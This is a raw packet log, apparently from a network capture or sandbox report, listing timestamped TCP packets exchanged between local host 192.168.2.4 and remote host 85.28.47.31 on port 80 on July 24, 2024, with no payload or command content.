Jul 24, 2024 02:39:00.511308908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511305094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511337042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511344910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511352062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511378050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511401892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511410952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511423111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511446953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511477947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511499882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511559963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511593103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511609077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511626959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511634111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511660099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511668921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511693001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511704922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511725903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511735916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511759043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511770964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511792898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511801004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511826992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511833906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511859894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511869907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511907101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512027979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512061119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512088060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512094021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512104034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512126923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512156963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512161016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512176037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512193918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512217999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512227058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512242079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512259960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512270927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512294054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512321949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512326956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512341022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512362957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512388945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512422085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512593031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512624979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512653112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512659073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.512669086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.512707949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.518999100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519032955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519059896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519068003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519076109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519109011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519149065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519181013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519210100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519213915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519229889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519249916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519260883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519300938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519357920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519397020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519426107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519440889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519537926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519570112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519593954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519603014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519609928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519635916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519649029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519669056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519682884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519702911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519715071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519736052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519748926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519769907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519798040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519804001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519817114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519838095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.519864082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.519882917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520025015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520075083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520104885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520136118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520153046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520169973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520178080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520204067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520217896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520252943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520337105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520369053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520391941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520401955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520411015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520435095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520461082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520467997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520477057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520522118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520546913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520561934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520664930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520697117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520729065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520746946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520747900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520781994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520806074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520813942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520819902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520848036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520876884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520879984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520896912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520912886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520926952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520946980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520962000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.520978928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.520992041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521013975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521020889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521055937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521300077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521332979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521367073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521370888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521392107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521399975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521415949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521434069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521439075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521482944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521496058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521517992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521521091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521562099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521946907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.521994114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.521998882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522032976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522047997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.522073984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.522106886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522140980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522156000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.522181034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.522418022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522452116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.522468090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.522497892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576610088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576658010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576693058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576725006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576759100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576790094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576836109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576836109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576836109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576874018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576905966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576909065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.576931953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.576951981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.591907978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.591974020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592009068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592041969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592077017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592109919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592119932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.592144966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.592195988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.592195988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.592195988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596709013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596741915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596767902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596776009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596788883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596822977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596828938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596860886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596879005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596895933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596911907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596931934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.596949100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.596980095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605298042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605398893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605479002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605530977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605564117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605597019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605628967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605659962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605714083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605746031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605751038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605751038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605751991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605782032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605798006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605801105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605830908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605856895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605865002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605875015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605899096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605916977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605931997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605947018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.605966091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.605976105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606023073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606112957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606142044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606167078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606184959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606190920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606225967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606251955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606276035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606332064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606364965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606389999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606398106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606405020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606430054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606451988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606466055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606472015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606509924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606673002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606704950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606733084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606738091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606748104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606771946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606789112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606803894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606813908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606837988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606863976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606870890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606887102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606903076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606915951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606937885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606961012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.606971979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.606981039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.607021093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.607100964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.607127905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.607151985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.607167959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.613497972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613555908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.613657951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613689899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613708019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613723040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613740921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613903999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613936901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613953114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.613970995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.613975048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.613995075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614001036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614016056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614058971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614242077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614274025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614300966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614306927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614320993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614353895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614357948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614391088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614407063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614423990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614430904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614473104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614475012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614506960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614535093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614542961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614559889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614573956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614588976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614609957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614629030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614662886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614715099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614751101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614778042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614779949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614794016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614811897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614825964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614845991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614872932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614878893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614888906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614912987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614929914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614945889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614960909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.614980936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.614989042 CEST	49730	80	192.168.2.4	85.28.47.31
